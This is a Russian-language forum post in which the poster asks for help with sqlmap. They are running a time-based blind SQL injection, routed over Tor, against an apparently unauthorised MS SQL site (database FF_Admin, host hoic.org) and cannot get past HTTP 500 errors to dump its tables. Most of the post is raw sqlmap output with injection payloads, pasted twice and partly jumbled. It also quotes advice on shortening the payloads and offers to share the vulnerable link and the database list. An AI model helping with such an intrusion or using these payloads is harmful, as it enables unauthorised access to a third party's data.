Здравствуйте обитатели. Вопрос на счет sqlmap. При сканировании уязвимости получение бд не составило никакого труда. Однако при получении доступа к таблицам определенной бд выбивает ошибку 500 iternal server. Пробовал игнор, делай, --hex --times-sec в общем все параметры из возможных. Напрочь отказывается пускать.
На тор не смотрите и так и без него ответ от сервера тот же.
На соседнем форуме дали следующие советы:
1.
Ну собственно и причина твоих ошибок 500.
' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM FF_Admin..sysobjects WHERE FF_Admin..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>51) WAITFOR DELAY '0:0:5'--
Ты смог получить имена бд потому что твой гет запрос был еще в пределах нормы, когда же ты стал пытаться этим же запросом получить имена таблиц, то у тебя гет запрос стал слишком длинный и как следствие сервер ругается на длинну запроса. Если бы ты смог получить колонки, то дальше ты бы уперся в запрос получения данных из колонок. Тебе нужно думать как изменить пайлоад, что бы он подходил под критерии максимальной длинны запроса. Когда ты решишь этот вопрос, то получишь все что хотел.
2.
Малясь ошибся, ты смог получить имена бд. Но вот на стадии запроса что бы узнать имена таблиц ты и уперся в лимит. Далее логика все та же, ну суть я думаю уловил.
Проще будет воспользоваться бурпом, там ты пайлоад сможешь легко отредактировать. В мапе же тебе придется много раз редактировать файл с пайлоадом, что бы подобрать. А также советую почитать немного что из себя представляет в целом sql синтаксис
Скажете так тебе же дали ответ. Но вот загвоздка burpОМ никогда и ни разу не пользовался это во первых. С payload знаком еле-еле во-вторых. И в третьих просьба можно ли решить данную проблему в самом sqlmap не прибегая к burp? можете подсказать что либо на счет payload и как его применить в данной ситуации?
Кому нужно могу дать ссылку на уязвимость для решения проблемы и список бд
ncreasing default value for option '--time-sec' to 10 because switch '--tor' was provided
[54:54:40] [INFO] setting Tor SOCKS proxy settings
[54:54:41] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[54:54:41] [INFO] checking Tor connection
[54:54:42] [INFO] Tor is properly being used
[54:54:45] [WARNING] it appears that you have provided tainted parameter values ('id='') with most likely leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[54:54:47] [INFO] resuming back-end DBMS 'microsoft sql server'
[54:54:47] [INFO] testing connection to the target URL
[54:54:48] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDQCTATTCR=NDPDIAFAGLC...CKOMFLGMOI'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=';WAITFOR DELAY '0:0:10'--
Type: time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: id=' WAITFOR DELAY '0:0:10'--
---
[54:54:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8.1 or 2012 R2
web application technology: Apache, ASP.NET, ASP, Microsoft IIS 8.5
back-end DBMS: Microsoft SQL Server 2012
[54:54:49] [INFO] fetching tables for database: FF_Admin
[54:54:49] [INFO] fetching number of tables for database 'FF_Admin'
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] n
[54:54:52] [WARNING] it's highly recommended to avoid usage of switch '--tor' for time-based injections because of inherent high latency time
[54:54:52] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[54:54:07] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[54:54:08] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[54:54:08] [INFO] resumed: 0
[54:54:08] [CRITICAL] unable to retrieve the tables for any database
[54:54:08] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 34 times
[54:54:40] [INFO] setting Tor SOCKS proxy settings
[54:54:41] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[54:54:41] [INFO] checking Tor connection
[54:54:42] [INFO] Tor is properly being used
[54:54:45] [WARNING] it appears that you have provided tainted parameter values ('id='') with most likely leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[54:54:47] [INFO] resuming back-end DBMS 'microsoft sql server'
[54:54:47] [INFO] testing connection to the target URL
[54:54:48] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDQCTATTCR=NDPDIAFAGLC...CKOMFLGMOI'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=';WAITFOR DELAY '0:0:10'--
Type: time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: id=' WAITFOR DELAY '0:0:10'--
---
[54:54:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8.1 or 2012 R2
web application technology: Apache, ASP.NET, ASP, Microsoft IIS 8.5
back-end DBMS: Microsoft SQL Server 2012
[54:54:49] [INFO] fetching tables for database: FF_Admin
[54:54:49] [INFO] fetching number of tables for database 'FF_Admin'
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] n
[54:54:52] [WARNING] it's highly recommended to avoid usage of switch '--tor' for time-based injections because of inherent high latency time
[54:54:52] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[54:54:07] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[54:54:08] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[54:54:08] [INFO] resumed: 0
[54:54:08] [CRITICAL] unable to retrieve the tables for any database
[54:54:08] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 34 times
[54:54:52] [DEBUG] cleaning up configuration parameters
[54:54:52] [DEBUG] setting the HTTP timeout
[54:54:52] [DEBUG] setting the HTTP User-Agent header
[54:54:52] [DEBUG] loading random HTTP User-Agent header(s) from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[54:54:52] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[54:54:52] [DEBUG] creating HTTP requests opener object
[54:54:54] [WARNING] it appears that you have provided tainted parameter values ('id='') with most likely leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[54:54:59] [INFO] resuming back-end DBMS 'microsoft sql server'
[54:54:59] [DEBUG] resolving hostname 'hoic.org'
[54:55:00] [INFO] testing connection to the target URL
[54:55:00] [DEBUG] declared web page charset 'iso-8859-1'
[54:55:00] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[54:55:00] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDQCTATTCR=NFPDIAFAEEF...MLJGFMAFKE'). Do you want to use those [Y/n] y
[54:55:05] [DEBUG] resuming NULL connection method 'HEAD'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=';WAITFOR DELAY '0:0:5'--
Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
Type: time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: id=' WAITFOR DELAY '0:0:5'--
Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
---
[54:55:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP
back-end DBMS: Microsoft SQL Server 2012
[54:55:05] [INFO] fetching tables for database: FF_Admin
[54:55:05] [INFO] fetching number of tables for database 'FF_Admin'
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] n
[54:55:08] [PAYLOAD] ' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM FF_Admin..sysobjects WHERE FF_Admin..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>51) WAITFOR DELAY '0:0:5'--
[54:55:08] [WARNING] time-based comparison requires lar[54:55:08] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:08] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:09] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:09] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:09] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:10] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:10] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:11] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:11] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:11] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:11] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:12] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:12] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:12] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:12] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:12] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:13] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:13] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:13] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:13] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:14] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:14] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:14] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:14] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:14] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:15] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:15] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:15] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:15] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:16] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
. (done)
[54:55:16] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[54:55:16] [PAYLOAD] ' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM FF_Admin..sysobjects WHERE FF_Admin..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>48) WAITFOR DELAY '0:0:5'--
[54:55:16] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[54:55:16] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[54:55:16] [PAYLOAD] ' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM FF_Admin..sysobjects WHERE FF_Admin..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>9) WAITFOR DELAY '0:0:5'--
[54:55:16] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[54:55:16] [INFO] retrieved:
[54:55:16] [DEBUG] performed 3 queries in 10.99 seconds
[54:55:16] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[54:55:16] [INFO] resumed: 0
[54:55:16] [DEBUG] performed 0 queries in 0.01 seconds
[54:55:16] [CRITICAL] unable to retrieve the tables for any database
[54:55:16] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 34 times
[54:54:52] [DEBUG] setting the HTTP timeout
[54:54:52] [DEBUG] setting the HTTP User-Agent header
[54:54:52] [DEBUG] loading random HTTP User-Agent header(s) from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[54:54:52] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9' from file '/usr/share/sqlmap/data/txt/user-agents.txt'
[54:54:52] [DEBUG] creating HTTP requests opener object
[54:54:54] [WARNING] it appears that you have provided tainted parameter values ('id='') with most likely leftover chars/statements from manual SQL injection test(s). Please, always use only valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y
[54:54:59] [INFO] resuming back-end DBMS 'microsoft sql server'
[54:54:59] [DEBUG] resolving hostname 'hoic.org'
[54:55:00] [INFO] testing connection to the target URL
[54:55:00] [DEBUG] declared web page charset 'iso-8859-1'
[54:55:00] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[54:55:00] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('ASPSESSIONIDQCTATTCR=NFPDIAFAEEF...MLJGFMAFKE'). Do you want to use those [Y/n] y
[54:55:05] [DEBUG] resuming NULL connection method 'HEAD'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=';WAITFOR DELAY '0:0:5'--
Vector: ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
Type: time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
Payload: id=' WAITFOR DELAY '0:0:5'--
Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
---
[54:55:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET, Microsoft IIS 8.5, ASP
back-end DBMS: Microsoft SQL Server 2012
[54:55:05] [INFO] fetching tables for database: FF_Admin
[54:55:05] [INFO] fetching number of tables for database 'FF_Admin'
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] n
[54:55:08] [PAYLOAD] ' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM FF_Admin..sysobjects WHERE FF_Admin..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>51) WAITFOR DELAY '0:0:5'--
[54:55:08] [WARNING] time-based comparison requires lar[54:55:08] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:08] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:09] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:09] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:09] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:10] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:10] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:11] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:11] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:11] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:11] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:12] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:12] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:12] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:12] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:12] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:13] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:13] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:13] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:13] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:14] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:14] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:14] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:14] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:14] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:15] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:15] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:15] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:15] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
.
[54:55:16] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
. (done)
[54:55:16] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[54:55:16] [PAYLOAD] ' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM FF_Admin..sysobjects WHERE FF_Admin..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>48) WAITFOR DELAY '0:0:5'--
[54:55:16] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[54:55:16] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[54:55:16] [PAYLOAD] ' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM FF_Admin..sysobjects WHERE FF_Admin..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>9) WAITFOR DELAY '0:0:5'--
[54:55:16] [DEBUG] got HTTP error code: 500 ('Internal Server Error')
[54:55:16] [INFO] retrieved:
[54:55:16] [DEBUG] performed 3 queries in 10.99 seconds
[54:55:16] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[54:55:16] [INFO] resumed: 0
[54:55:16] [DEBUG] performed 0 queries in 0.01 seconds
[54:55:16] [CRITICAL] unable to retrieve the tables for any database
[54:55:16] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 34 times
1.
Ну собственно и причина твоих ошибок 500.
' IF(UNICODE(SUBSTRING((SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS NVARCHAR(4000)),CHAR(32)) FROM FF_Admin..sysobjects WHERE FF_Admin..sysobjects.xtype IN (CHAR(117),CHAR(118))),1,1))>51) WAITFOR DELAY '0:0:5'--
Ты смог получить имена бд потому что твой гет запрос был еще в пределах нормы, когда же ты стал пытаться этим же запросом получить имена таблиц, то у тебя гет запрос стал слишком длинный и как следствие сервер ругается на длинну запроса. Если бы ты смог получить колонки, то дальше ты бы уперся в запрос получения данных из колонок. Тебе нужно думать как изменить пайлоад, что бы он подходил под критерии максимальной длинны запроса. Когда ты решишь этот вопрос, то получишь все что хотел.
2.
Малясь ошибся, ты смог получить имена бд. Но вот на стадии запроса что бы узнать имена таблиц ты и уперся в лимит. Далее логика все та же, ну суть я думаю уловил.
Проще будет воспользоваться бурпом, там ты пайлоад сможешь легко отредактировать. В мапе же тебе придется много раз редактировать файл с пайлоадом, что бы подобрать. А также советую почитать немного что из себя представляет в целом sql синтаксис
Ссылка скрыта от гостей
, что бы понимать как вообще построить запрос нужно.Скажете так тебе же дали ответ. Но вот загвоздка burpОМ никогда и ни разу не пользовался это во первых. С payload знаком еле-еле во-вторых. И в третьих просьба можно ли решить данную проблему в самом sqlmap не прибегая к burp? можете подсказать что либо на счет payload и как его применить в данной ситуации?
Кому нужно могу дать ссылку на уязвимость для решения проблемы и список бд
